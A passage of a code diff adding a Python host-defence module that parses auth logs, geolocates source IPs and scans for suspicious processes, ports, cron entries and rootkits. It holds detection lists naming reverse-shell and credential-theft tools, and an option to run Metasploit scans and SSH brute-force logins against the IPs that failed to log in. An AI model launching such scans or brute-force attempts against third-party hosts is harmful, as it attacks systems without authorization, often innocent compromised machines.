+ 'options': {'PORTS': '21-23,25,53,80,110,139,143,443,445,3306,3389,5900,8080'}
+ },
+ {
+ 'name': 'SSH Version Scanner',
+ 'module': 'auxiliary/scanner/ssh/ssh_version',
+ 'description': 'Detect SSH version and supported algorithms',
+ 'options': {}
+ },
+ {
+ 'name': 'SSH Login Check',
+ 'module': 'auxiliary/scanner/ssh/ssh_login',
+ 'description': 'Brute force SSH login (requires wordlists)',
+ 'options': {}
+ },
+ {
+ 'name': 'SMB Version Scanner',
+ 'module': 'auxiliary/scanner/smb/smb_version',
+ 'description': 'Detect SMB version and OS information',
+ 'options': {}
+ },
+ {
+ 'name': 'SMB Share Enumeration',
+ 'module': 'auxiliary/scanner/smb/smb_enumshares',
+ 'description': 'Enumerate available SMB shares',
+ 'options': {}
+ },
+ {
+ 'name': 'HTTP Version Scanner',
+ 'module': 'auxiliary/scanner/http/http_version',
+ 'description': 'Detect HTTP server version',
+ 'options': {}
+ },
+ {
+ 'name': 'FTP Version Scanner',
+ 'module': 'auxiliary/scanner/ftp/ftp_version',
+ 'description': 'Detect FTP server version',
+ 'options': {}
+ },
+ {
+ 'name': 'Telnet Version Scanner',
+ 'module': 'auxiliary/scanner/telnet/telnet_version',
+ 'description': 'Detect Telnet banner and version',
+ 'options': {}
+ },
+ {
+ 'name': 'SNMP Enumeration',
+ 'module': 'auxiliary/scanner/snmp/snmp_enum',
+ 'description': 'Enumerate SNMP information',
+ 'options': {}
+ },
+ {
+ 'name': 'RDP Scanner',
+ 'module': 'auxiliary/scanner/rdp/rdp_scanner',
+ 'description': 'Detect RDP service',
+ 'options': {}
+ },
+ {
+ 'name': 'MySQL Version Scanner',
+ 'module': 'auxiliary/scanner/mysql/mysql_version',
+ 'description': 'Detect MySQL server version',
+ 'options': {}
+ },
+ {
+ 'name': 'VNC None Auth Scanner',
+ 'module': 'auxiliary/scanner/vnc/vnc_none_auth',
+ 'description': 'Check for VNC servers with no authentication',
+ 'options': {}
+ },
+]
+
+
+class Counter:
+ """Threat detection and response."""
+
+ def __init__(self):
+ self.threats = []
+ self.login_attempts: Dict[str, LoginAttempt] = {}
+ self._init_session()
+
+ def _init_session(self):
+ """Initialize HTTP session for GeoIP lookups."""
+ self.session = None
+ if REQUESTS_AVAILABLE:
+ self.session = requests.Session()
+ adapter = requests.adapters.HTTPAdapter(max_retries=2)
+ self.session.mount('https://', adapter)
+ self.session.mount('http://', adapter)
+ self.session.headers.update({
+ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
+ })
+
+ def print_status(self, message: str, status: str = "info"):
+ colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
+ symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
+ print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
+
+ def alert(self, category: str, message: str, severity: str = "medium"):
+ """Record a threat alert."""
+ self.threats.append({"category": category, "message": message, "severity": severity})
+ color = Colors.RED if severity == "high" else Colors.YELLOW if severity == "medium" else Colors.CYAN
+ print(f"{color}[ALERT] {category}: {message}{Colors.RESET}")
+
+ def run_cmd(self, cmd: str) -> tuple:
+ try:
+ result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
+ return result.returncode == 0, result.stdout.strip()
+ except:
+ return False, ""
+
+ def get_hostname(self, ip: str) -> Optional[str]:
+ """Resolve IP to hostname via reverse DNS."""
+ try:
+ hostname, _, _ = socket.gethostbyaddr(ip)
+ return hostname
+ except (socket.herror, socket.gaierror, socket.timeout):
+ return None
+
+ def get_geoip(self, ip: str) -> Optional[Dict]:
+ """Get geolocation data for an IP address."""
+ if not self.session:
+ return None
+
+ # Skip private/local IPs
+ if ip.startswith('127.') or ip.startswith('192.168.') or ip.startswith('10.') or ip.startswith('172.'):
+ return {'country': 'Local', 'city': 'Private Network', 'isp': 'N/A'}
+
+ try:
+ # Try ipwho.is first
+ response = self.session.get(f"https://ipwho.is/{ip}", timeout=5)
+ if response.status_code == 200:
+ data = response.json()
+ if data.get('success', True):
+ return {
+ 'country': data.get('country', 'Unknown'),
+ 'country_code': data.get('country_code', ''),
+ 'region': data.get('region', ''),
+ 'city': data.get('city', 'Unknown'),
+ 'latitude': data.get('latitude'),
+ 'longitude': data.get('longitude'),
+ 'isp': data.get('connection', {}).get('isp', 'Unknown'),
+ 'org': data.get('connection', {}).get('org', ''),
+ 'asn': data.get('connection', {}).get('asn', ''),
+ }
+ except Exception:
+ pass
+
+ try:
+ # Fallback to ipinfo.io
+ response = self.session.get(f"https://ipinfo.io/{ip}/json", timeout=5)
+ if response.status_code == 200:
+ data = response.json()
+ loc = data.get('loc', ',').split(',')
+ lat = float(loc[0]) if len(loc) > 0 and loc[0] else None
+ lon = float(loc[1]) if len(loc) > 1 and loc[1] else None
+ return {
+ 'country': data.get('country', 'Unknown'),
+ 'country_code': data.get('country'),
+ 'region': data.get('region', ''),
+ 'city': data.get('city', 'Unknown'),
+ 'latitude': lat,
+ 'longitude': lon,
+ 'isp': data.get('org', 'Unknown'),
+ 'org': data.get('org', ''),
+ }
+ except Exception:
+ pass
+
+ return None
+
+ def parse_auth_logs(self) -> Dict[str, LoginAttempt]:
+ """Parse authentication logs and extract failed login attempts."""
+ attempts: Dict[str, LoginAttempt] = {}
+ raw_log_lines = []
+
+ # Try different log locations
+ log_files = [
+ '/var/log/auth.log',
+ '/var/log/secure',
+ '/var/log/messages',
+ ]
+
+ log_content = ""
+ for log_file in log_files:
+ success, output = self.run_cmd(f"cat {log_file} 2>/dev/null")
+ if success and output:
+ log_content = output
+ break
+
+ if not log_content:
+ return attempts
+
+ # Parse log entries for failed attempts
+ # Common patterns:
+ # "Failed password for root from 192.168.1.100 port 22 ssh2"
+ # "Failed password for invalid user admin from 192.168.1.100 port 22"
+ # "Invalid user admin from 192.168.1.100 port 22"
+ # "Connection closed by authenticating user root 192.168.1.100 port 22 [preauth]"
+
+ patterns = [
+ # Failed password for user from IP
+ r'(\w{3}\s+\d+\s+[\d:]+).*Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)',
+ # Invalid user from IP
+ r'(\w{3}\s+\d+\s+[\d:]+).*Invalid user (\S+) from (\d+\.\d+\.\d+\.\d+)',
+ # Connection closed by authenticating user
+ r'(\w{3}\s+\d+\s+[\d:]+).*Connection closed by (?:authenticating user )?(\S+) (\d+\.\d+\.\d+\.\d+)',
+ # pam_unix authentication failure
+ r'(\w{3}\s+\d+\s+[\d:]+).*pam_unix.*authentication failure.*ruser=(\S*) rhost=(\d+\.\d+\.\d+\.\d+)',
+ ]
+
+ for line in log_content.split('\n'):
+ if 'failed' in line.lower() or 'invalid user' in line.lower() or 'authentication failure' in line.lower():
+ raw_log_lines.append(line)
+
+ for pattern in patterns:
+ match = re.search(pattern, line, re.IGNORECASE)
+ if match:
+ timestamp_str, username, ip = match.groups()
+ username = username if username else 'unknown'
+
+ # Parse timestamp (assuming current year)
+ try:
+ current_year = datetime.now().year
+ timestamp = datetime.strptime(f"{current_year} {timestamp_str}", "%Y %b %d %H:%M:%S")
+ except ValueError:
+ timestamp = None
+
+ if ip not in attempts:
+ attempts[ip] = LoginAttempt(ip=ip, count=0)
+
+ attempts[ip].count += 1
+ if timestamp:
+ if attempts[ip].last_attempt is None or timestamp > attempts[ip].last_attempt:
+ attempts[ip].last_attempt = timestamp
+ if username not in attempts[ip].usernames:
+ attempts[ip].usernames.append(username)
+
+ break
+
+ # Store raw logs for later viewing
+ self._raw_auth_logs = raw_log_lines
+
+ return attempts
+
+ def enrich_login_attempts(self, attempts: Dict[str, LoginAttempt], show_progress: bool = True):
+ """Enrich login attempts with GeoIP and hostname data."""
+ total = len(attempts)
+ for i, (ip, attempt) in enumerate(attempts.items()):
+ if show_progress:
+ print(f"\r{Colors.CYAN}[*] Enriching IP data... {i+1}/{total}{Colors.RESET}", end='', flush=True)
+
+ # Get hostname
+ attempt.hostname = self.get_hostname(ip)
+
+ # Get GeoIP data
+ geo_data = self.get_geoip(ip)
+ if geo_data:
+ attempt.country = geo_data.get('country')
+ attempt.city = geo_data.get('city')
+ attempt.isp = geo_data.get('isp')
+ attempt.geo_data = geo_data
+
+ if show_progress:
+ print() # New line after progress
+
+ def check_suspicious_processes(self):
+ """Look for suspicious processes."""
+ print(f"\n{Colors.BOLD}Scanning for Suspicious Processes...{Colors.RESET}\n")
+
+ # Known malicious process names
+ suspicious_names = [
+ "nc", "ncat", "netcat", "socat", # Reverse shells
+ "msfconsole", "msfvenom", "meterpreter", # Metasploit
+ "mimikatz", "lazagne", "pwdump", # Credential theft
+ "xmrig", "minerd", "cgminer", # Cryptominers
+ "tor", "proxychains", # Anonymizers
+ ]
+
+ success, output = self.run_cmd("ps aux")
+ if not success:
+ self.print_status("Failed to get process list", "error")
+ return
+
+ found = []
+ for line in output.split('\n')[1:]:
+ parts = line.split()
+ if len(parts) >= 11:
+ proc_name = parts[10].split('/')[-1]
+ for sus in suspicious_names:
+ if sus in proc_name.lower():
+ found.append((parts[1], proc_name, parts[0])) # PID, name, user
+
+ if found:
+ for pid, name, user in found:
+ self.alert("Suspicious Process", f"PID {pid}: {name} (user: {user})", "high")
+ else:
+ self.print_status("No known suspicious processes found", "success")
+
+ # Check for hidden processes (comparing ps and /proc)
+ success, ps_pids = self.run_cmd("ps -e -o pid=")
+ if success:
+ ps_set = set(ps_pids.split())
+ proc_pids = set(p.name for p in Path("/proc").iterdir() if p.name.isdigit())
+ hidden = proc_pids - ps_set
+ if hidden:
+ self.alert("Hidden Process", f"PIDs not in ps output: {', '.join(list(hidden)[:5])}", "high")
+
+ def check_network_connections(self):
+ """Analyze network connections for anomalies."""
+ print(f"\n{Colors.BOLD}Analyzing Network Connections...{Colors.RESET}\n")
+
+ success, output = self.run_cmd("ss -tunap 2>/dev/null || netstat -tunap 2>/dev/null")
+ if not success:
+ self.print_status("Failed to get network connections", "error")
+ return
+
+ suspicious_ports = {
+ 4444: "Metasploit default",
+ 5555: "Common backdoor",
+ 1337: "Common backdoor",
+ 31337: "Back Orifice",
+ 6667: "IRC (C2)",
+ 6666: "Common backdoor",
+ }
+
+ established_foreign = []
+ listeners = []
+
+ for line in output.split('\n'):
+ if 'ESTABLISHED' in line:
+ # Extract foreign address
+ match = re.search(r'(\d+\.\d+\.\d+\.\d+):(\d+)\s+(\d+\.\d+\.\d+\.\d+):(\d+)', line)
+ if match:
+ local_ip, local_port, foreign_ip, foreign_port = match.groups()
+ if not foreign_ip.startswith('127.'):
+ established_foreign.append((foreign_ip, foreign_port, line))
+
+ if 'LISTEN' in line:
+ match = re.search(r':(\d+)\s', line)
+ if match:
+ port = int(match.group(1))
+ if port in suspicious_ports:
+ self.alert("Suspicious Listener", f"Port {port} ({suspicious_ports[port]})", "high")
+ listeners.append(port)
+
+ # Check for connections to suspicious ports
+ for ip, port, line in established_foreign:
+ port_int = int(port)
+ if port_int in suspicious_ports:
+ self.alert("Suspicious Connection", f"Connected to {ip}:{port} ({suspicious_ports[port_int]})", "high")
+
+ self.print_status(f"Found {len(established_foreign)} external connections, {len(listeners)} listeners", "info")
+
+ # Show top foreign connections
+ if established_foreign:
+ print(f"\n{Colors.CYAN}External Connections:{Colors.RESET}")
+ seen = set()
+ for ip, port, _ in established_foreign[:10]:
+ if ip not in seen:
+ print(f" {ip}:{port}")
+ seen.add(ip)
+
+ def check_login_anomalies(self):
+ """Check for suspicious login activity - quick summary version."""
+ print(f"\n{Colors.BOLD}Checking Login Activity...{Colors.RESET}\n")
+
+ # Parse logs
+ attempts = self.parse_auth_logs()
+ self.login_attempts = attempts
+
+ if not attempts:
+ self.print_status("No failed login attempts found or could not read logs", "info")
+ return
+
+ total_attempts = sum(a.count for a in attempts.values())
+
+ if total_attempts > 100:
+ self.alert("Brute Force Detected", f"{total_attempts} failed login attempts from {len(attempts)} IPs", "high")
+ elif total_attempts > 20:
+ self.alert("Elevated Failed Logins", f"{total_attempts} failed attempts from {len(attempts)} IPs", "medium")
+ else:
+ self.print_status(f"{total_attempts} failed login attempts from {len(attempts)} unique IPs", "info")
+
+ # Show top 5 IPs
+ sorted_attempts = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:5]
+ print(f"\n{Colors.CYAN}Top Source IPs:{Colors.RESET}")
+ for attempt in sorted_attempts:
+ print(f" {attempt.ip}: {attempt.count} attempts")
+
+ # Successful root logins
+ success, output = self.run_cmd("last -n 20 root 2>/dev/null")
+ if success and output and "root" in output:
+ lines = [l for l in output.split('\n') if l.strip() and 'wtmp' not in l]
+ if lines:
+ print(f"\n{Colors.CYAN}Recent root logins:{Colors.RESET}")
+ for line in lines[:5]:
+ print(f" {line}")
+
+ def login_anomalies_menu(self):
+ """Interactive login anomalies menu with detailed IP information."""
+ self._raw_auth_logs = []
+
+ while True:
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} Login Anomalies Analysis{Colors.RESET}")
+ print(f"{Colors.DIM} Investigate failed login attempts{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ # Show cached data or prompt to scan
+ if not self.login_attempts:
+ print(f" {Colors.YELLOW}No data loaded. Run a scan first.{Colors.RESET}")
+ print()
+ print(f" {Colors.MAGENTA}[1]{Colors.RESET} Quick Scan (no GeoIP)")
+ print(f" {Colors.MAGENTA}[2]{Colors.RESET} Full Scan (with GeoIP lookup)")
+ else:
+ # Show summary
+ total_attempts = sum(a.count for a in self.login_attempts.values())
+ unique_ips = len(self.login_attempts)
+
+ if total_attempts > 100:
+ status_color = Colors.RED
+ status_text = "HIGH THREAT"
+ elif total_attempts > 20:
+ status_color = Colors.YELLOW
+ status_text = "MODERATE"
+ else:
+ status_color = Colors.GREEN
+ status_text = "LOW"
+
+ print(f" Status: {status_color}{status_text}{Colors.RESET}")
+ print(f" Total Failed Attempts: {Colors.CYAN}{total_attempts}{Colors.RESET}")
+ print(f" Unique IPs: {Colors.CYAN}{unique_ips}{Colors.RESET}")
+ print()
+
+ # Show IPs as options
+ print(f" {Colors.BOLD}Source IPs (sorted by attempts):{Colors.RESET}")
+ print()
+
+ sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True)
+
+ for i, attempt in enumerate(sorted_attempts[:15], 1):
+ # Build info line
+ timestamp_str = ""
+ if attempt.last_attempt:
+ timestamp_str = attempt.last_attempt.strftime("%Y-%m-%d %H:%M")
+
+ location_str = ""
+ if attempt.country:
+ location_str = f"{attempt.country}"
+ if attempt.city and attempt.city != 'Unknown':
+ location_str += f"/{attempt.city}"
+
+ host_str = ""
+ if attempt.hostname:
+ host_str = f"({attempt.hostname[:30]})"
+
+ # Color based on attempt count
+ if attempt.count > 50:
+ count_color = Colors.RED
+ elif attempt.count > 10:
+ count_color = Colors.YELLOW
+ else:
+ count_color = Colors.WHITE
+
+ print(f" {Colors.MAGENTA}[{i:2}]{Colors.RESET} {attempt.ip:16} "
+ f"{count_color}{attempt.count:4} attempts{Colors.RESET}", end='')
+
+ if timestamp_str:
+ print(f" {Colors.DIM}Last: {timestamp_str}{Colors.RESET}", end='')
+ if location_str:
+ print(f" {Colors.CYAN}{location_str}{Colors.RESET}", end='')
+
+ print()
+
+ if len(sorted_attempts) > 15:
+ print(f" {Colors.DIM}... and {len(sorted_attempts) - 15} more IPs{Colors.RESET}")
+
+ print()
+ print(f" {Colors.MAGENTA}[R]{Colors.RESET} Rescan (Quick)")
+ print(f" {Colors.MAGENTA}[F]{Colors.RESET} Full Rescan (with GeoIP)")
+ print(f" {Colors.MAGENTA}[L]{Colors.RESET} View Raw Auth Log")
+
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower()
+
+ if choice == '0':
+ break
+
+ elif choice in ['1', 'r'] and (not self.login_attempts or choice == 'r'):
+ # Quick scan
+ print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}")
+ self.login_attempts = self.parse_auth_logs()
+ if self.login_attempts:
+ self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success")
+ else:
+ self.print_status("No failed login attempts found", "info")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ elif choice in ['2', 'f'] and (not self.login_attempts or choice == 'f'):
+ # Full scan with GeoIP
+ print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}")
+ self.login_attempts = self.parse_auth_logs()
+ if self.login_attempts:
+ self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success")
+ print(f"\n{Colors.CYAN}[*] Fetching GeoIP and hostname data...{Colors.RESET}")
+ self.enrich_login_attempts(self.login_attempts)
+ self.print_status("GeoIP enrichment complete", "success")
+ else:
+ self.print_status("No failed login attempts found", "info")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == 'l' and self.login_attempts:
+ # View raw log
+ self.view_raw_auth_log()
+
+ elif choice.isdigit() and self.login_attempts:
+ idx = int(choice)
+ sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True)
+ if 1 <= idx <= len(sorted_attempts):
+ self.ip_detail_menu(sorted_attempts[idx - 1])
+
+ def view_raw_auth_log(self):
+ """Display raw authentication log entries."""
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} Raw Authentication Log{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ if not hasattr(self, '_raw_auth_logs') or not self._raw_auth_logs:
+ print(f" {Colors.YELLOW}No log data available. Run a scan first.{Colors.RESET}")
+ else:
+ # Show last 100 entries by default
+ log_lines = self._raw_auth_logs[-100:]
+ for line in log_lines:
+ # Highlight IPs
+ highlighted = re.sub(
+ r'(\d+\.\d+\.\d+\.\d+)',
+ f'{Colors.CYAN}\\1{Colors.RESET}',
+ line
+ )
+ # Highlight "failed"
+ highlighted = re.sub(
+ r'(failed|invalid|authentication failure)',
+ f'{Colors.RED}\\1{Colors.RESET}',
+ highlighted,
+ flags=re.IGNORECASE
+ )
+ print(f" {highlighted}")
+
+ print()
+ print(f" {Colors.DIM}Showing last {len(log_lines)} of {len(self._raw_auth_logs)} entries{Colors.RESET}")
+
+ print()
+ input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def ip_detail_menu(self, attempt: LoginAttempt):
+ """Show detailed information and options for a specific IP."""
+ while True:
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} IP Investigation: {attempt.ip}{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ # Basic info
+ print(f" {Colors.BOLD}Connection Statistics:{Colors.RESET}")
+ print(f" Failed Attempts: {Colors.RED}{attempt.count}{Colors.RESET}")
+ if attempt.last_attempt:
+ print(f" Last Attempt: {Colors.CYAN}{attempt.last_attempt.strftime('%Y-%m-%d %H:%M:%S')}{Colors.RESET}")
+ if attempt.usernames:
+ usernames_str = ', '.join(attempt.usernames[:10])
+ if len(attempt.usernames) > 10:
+ usernames_str += f" (+{len(attempt.usernames) - 10} more)"
+ print(f" Targeted Users: {Colors.YELLOW}{usernames_str}{Colors.RESET}")
+ print()
+
+ # Network info
+ print(f" {Colors.BOLD}Network Information:{Colors.RESET}")
+ print(f" IP Address: {Colors.CYAN}{attempt.ip}{Colors.RESET}")
+
+ if attempt.hostname:
+ print(f" Hostname: {Colors.CYAN}{attempt.hostname}{Colors.RESET}")
+ else:
+ # Try to resolve now if not cached
+ hostname = self.get_hostname(attempt.ip)
+ if hostname:
+ attempt.hostname = hostname
+ print(f" Hostname: {Colors.CYAN}{hostname}{Colors.RESET}")
+ else:
+ print(f" Hostname: {Colors.DIM}(no reverse DNS){Colors.RESET}")
+
+ print()
+
+ # GeoIP info
+ print(f" {Colors.BOLD}Geolocation:{Colors.RESET}")
+ if attempt.geo_data:
+ geo = attempt.geo_data
+ if geo.get('country'):
+ country_str = geo.get('country', 'Unknown')
+ if geo.get('country_code'):
+ country_str += f" ({geo['country_code']})"
+ print(f" Country: {Colors.CYAN}{country_str}{Colors.RESET}")
+ if geo.get('region'):
+ print(f" Region: {Colors.CYAN}{geo['region']}{Colors.RESET}")
+ if geo.get('city') and geo.get('city') != 'Unknown':
+ print(f" City: {Colors.CYAN}{geo['city']}{Colors.RESET}")
+ if geo.get('isp'):
+ print(f" ISP: {Colors.CYAN}{geo['isp']}{Colors.RESET}")
+ if geo.get('org') and geo.get('org') != geo.get('isp'):
+ print(f" Organization: {Colors.CYAN}{geo['org']}{Colors.RESET}")
+ if geo.get('asn'):
+ print(f" ASN: {Colors.CYAN}{geo['asn']}{Colors.RESET}")
+ if geo.get('latitude') and geo.get('longitude'):
+ print(f" Coordinates: {Colors.DIM}{geo['latitude']}, {geo['longitude']}{Colors.RESET}")
+ print(f" Map: {Colors.DIM}https://www.google.com/maps/@{geo['latitude']},{geo['longitude']},12z{Colors.RESET}")
+ elif attempt.country:
+ print(f" Country: {Colors.CYAN}{attempt.country}{Colors.RESET}")
+ if attempt.city:
+ print(f" City: {Colors.CYAN}{attempt.city}{Colors.RESET}")
+ if attempt.isp:
+ print(f" ISP: {Colors.CYAN}{attempt.isp}{Colors.RESET}")
+ else:
+ print(f" {Colors.DIM}(GeoIP data not loaded - run Full Scan){Colors.RESET}")
+
+ print()
+ print(f" {Colors.BOLD}Actions:{Colors.RESET}")
+ print()
+ print(f" {Colors.MAGENTA}[G]{Colors.RESET} Fetch/Refresh GeoIP Data")
+ print(f" {Colors.MAGENTA}[W]{Colors.RESET} Whois Lookup")
+ print(f" {Colors.MAGENTA}[P]{Colors.RESET} Ping Target")
+ print()
+ print(f" {Colors.BOLD}Metasploit Recon Modules:{Colors.RESET}")
+ print()
+
+ for i, module in enumerate(MSF_RECON_MODULES, 1):
+ print(f" {Colors.RED}[{i:2}]{Colors.RESET} {module['name']}")
+ print(f" {Colors.DIM}{module['description']}{Colors.RESET}")
+
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower()
+
+ if choice == '0':
+ break
+
+ elif choice == 'g':
+ # Refresh GeoIP
+ print(f"\n{Colors.CYAN}[*] Fetching GeoIP data for {attempt.ip}...{Colors.RESET}")
+ geo_data = self.get_geoip(attempt.ip)
+ if geo_data:
+ attempt.geo_data = geo_data
+ attempt.country = geo_data.get('country')
+ attempt.city = geo_data.get('city')
+ attempt.isp = geo_data.get('isp')
+ self.print_status("GeoIP data updated", "success")
+ else:
+ self.print_status("Could not fetch GeoIP data", "warning")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == 'w':
+ # Whois lookup
+ print(f"\n{Colors.CYAN}[*] Running whois lookup for {attempt.ip}...{Colors.RESET}\n")
+ success, output = self.run_cmd(f"whois {attempt.ip} 2>/dev/null | head -60")
+ if success and output:
+ print(output)
+ else:
+ self.print_status("Whois lookup failed or not available", "warning")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == 'p':
+ # Ping
+ print(f"\n{Colors.CYAN}[*] Pinging {attempt.ip}...{Colors.RESET}\n")
+ success, output = self.run_cmd(f"ping -c 4 {attempt.ip} 2>&1")
+ print(output)
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ elif choice.isdigit():
+ idx = int(choice)
+ if 1 <= idx <= len(MSF_RECON_MODULES):
+ self.run_msf_recon(attempt.ip, MSF_RECON_MODULES[idx - 1])
+
+
+ def run_msf_recon(self, target_ip: str, module_info: Dict):
+ """Run a Metasploit recon module against the target IP."""
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.RED}{Colors.BOLD} Metasploit Recon: {module_info['name']}{Colors.RESET}")
+ print(f"{Colors.DIM} Target: {target_ip}{Colors.RESET}")
+ print(f"{Colors.DIM} Module: {module_info['module']}{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ # Use the centralized MSF interface
+ try:
+ from core.msf_interface import get_msf_interface
+ except ImportError:
+ self.print_status("Metasploit interface not available", "error")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ return
+
+ msf = get_msf_interface()
+
+ # Ensure connected
+ connected, msg = msf.ensure_connected()
+ if not connected:
+ print(f"{Colors.YELLOW}[!] {msg}{Colors.RESET}")
+ print()
+ print(f" To connect, ensure msfrpcd is running:")
+ print(f" {Colors.DIM}msfrpcd -P yourpassword -S{Colors.RESET}")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ return
+
+ # Build options
+ options = {'RHOSTS': target_ip}
+ options.update(module_info.get('options', {}))
+
+ # Warn about SYN scan known issues
+ if 'syn' in module_info['module'].lower():
+ print(f"{Colors.YELLOW}[!] Note: SYN scan may produce errors if:{Colors.RESET}")
+ print(f" - Target has firewall filtering responses")
+ print(f" - Network NAT/filtering interferes with raw packets")
+ print(f" Consider TCP scan (option 1) for more reliable results.")
+ print()
+
+ # Show what we're about to run
+ print(f"{Colors.CYAN}[*] Module Options:{Colors.RESET}")
+ for key, value in options.items():
+ print(f" {key}: {value}")
+ print()
+
+ confirm = input(f"{Colors.YELLOW}Execute module? (y/n): {Colors.RESET}").strip().lower()
+ if confirm != 'y':
+ return
+
+ # Execute via the interface
+ print(f"\n{Colors.CYAN}[*] Executing {module_info['name']}...{Colors.RESET}")
+
+ result = msf.run_module(module_info['module'], options, timeout=120)
+
+ # Display results using the interface's formatter
+ msf.print_result(result, verbose=False)
+
+ # Add SYN-specific error guidance
+ if result.error_count > 0 and 'syn' in module_info['module'].lower():
+ print(f"\n{Colors.DIM} SYN scan errors are often caused by:{Colors.RESET}")
+ print(f"{Colors.DIM} - Target firewall blocking responses{Colors.RESET}")
+ print(f"{Colors.DIM} - Network filtering/NAT issues{Colors.RESET}")
+ print(f"{Colors.DIM} - Known MSF SYN scanner bugs{Colors.RESET}")
+ print(f"{Colors.DIM} Try using TCP scan (option 1) instead.{Colors.RESET}")
+
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ def check_file_integrity(self):
+ """Check for recently modified critical files."""
+ print(f"\n{Colors.BOLD}Checking File Integrity...{Colors.RESET}\n")
+
+ critical_paths = [
+ "/etc/passwd",
+ "/etc/shadow",
+ "/etc/sudoers",
+ "/etc/ssh/sshd_config",
+ "/etc/crontab",
+ "/root/.ssh/authorized_keys",
+ ]
+
+ recent_threshold = datetime.now() - timedelta(days=7)
+
+ for filepath in critical_paths:
+ p = Path(filepath)
+ if p.exists():
+ mtime = datetime.fromtimestamp(p.stat().st_mtime)
+ if mtime > recent_threshold:
+ self.alert("Recent Modification", f"{filepath} modified {mtime.strftime('%Y-%m-%d %H:%M')}", "medium")
+ else:
+ self.print_status(f"{filepath} - OK", "success")
+
+ # Check for new SUID binaries
+ print(f"\n{Colors.CYAN}Checking SUID binaries...{Colors.RESET}")
+ success, output = self.run_cmd("find /usr -perm -4000 -type f 2>/dev/null")
+ if success:
+ suid_files = output.split('\n')
+ known_suid = ['sudo', 'su', 'passwd', 'ping', 'mount', 'umount', 'chsh', 'newgrp']
+ for f in suid_files:
+ if f:
+ name = Path(f).name
+ if not any(k in name for k in known_suid):
+ self.alert("Unknown SUID", f"{f}", "medium")
+
+ def check_scheduled_tasks(self):
+ """Check cron jobs and scheduled tasks."""
+ print(f"\n{Colors.BOLD}Checking Scheduled Tasks...{Colors.RESET}\n")
+
+ # System crontab
+ crontab = Path("/etc/crontab")
+ if crontab.exists():
+ content = crontab.read_text()
+ # Look for suspicious commands
+ suspicious = ['curl', 'wget', 'nc ', 'bash -i', 'python -c', 'perl -e', 'base64']
+ for sus in suspicious:
+ if sus in content:
+ self.alert("Suspicious Cron", f"Found '{sus}' in /etc/crontab", "high")
+
+ # User crontabs
+ success, output = self.run_cmd("ls /var/spool/cron/crontabs/ 2>/dev/null")
+ if success and output:
+ users = output.split('\n')
+ self.print_status(f"Found crontabs for: {', '.join(users)}", "info")
+
+ # Check /etc/cron.d
+ cron_d = Path("/etc/cron.d")
+ if cron_d.exists():
+ for f in cron_d.iterdir():
+ if f.is_file():
+ content = f.read_text()
+ for sus in ['curl', 'wget', 'nc ', 'bash -i']:
+ if sus in content:
+ self.alert("Suspicious Cron", f"Found '{sus}' in {f}", "medium")
+
+ def check_rootkits(self):
+ """Basic rootkit detection."""
+ print(f"\n{Colors.BOLD}Running Rootkit Checks...{Colors.RESET}\n")
+
+ # Check for hidden files in /tmp
+ success, output = self.run_cmd("ls -la /tmp/. /tmp/.. 2>/dev/null")
+ if success:
+ hidden = re.findall(r'\.\w+', output)
+ if len(hidden) > 5:
+ self.alert("Hidden Files", f"Many hidden files in /tmp: {len(hidden)}", "medium")
+
+ # Check for kernel modules
+ success, output = self.run_cmd("lsmod")
+ if success:
+ suspicious_modules = ['rootkit', 'hide', 'stealth', 'sniff']
+ for line in output.split('\n'):
+ for sus in suspicious_modules:
+ if sus in line.lower():
+ self.alert("Suspicious Module", f"Kernel module: {line.split()[0]}", "high")
+
+ # Check for process hiding
+ success, output = self.run_cmd("ps aux | wc -l")
+ success2, output2 = self.run_cmd("ls /proc | grep -E '^[0-9]+$' | wc -l")
+ if success and success2:
+ ps_count = int(output)
+ proc_count = int(output2)
+ if abs(ps_count - proc_count) > 5:
+ self.alert("Process Hiding", f"Mismatch: ps={ps_count}, /proc={proc_count}", "high")
+ else:
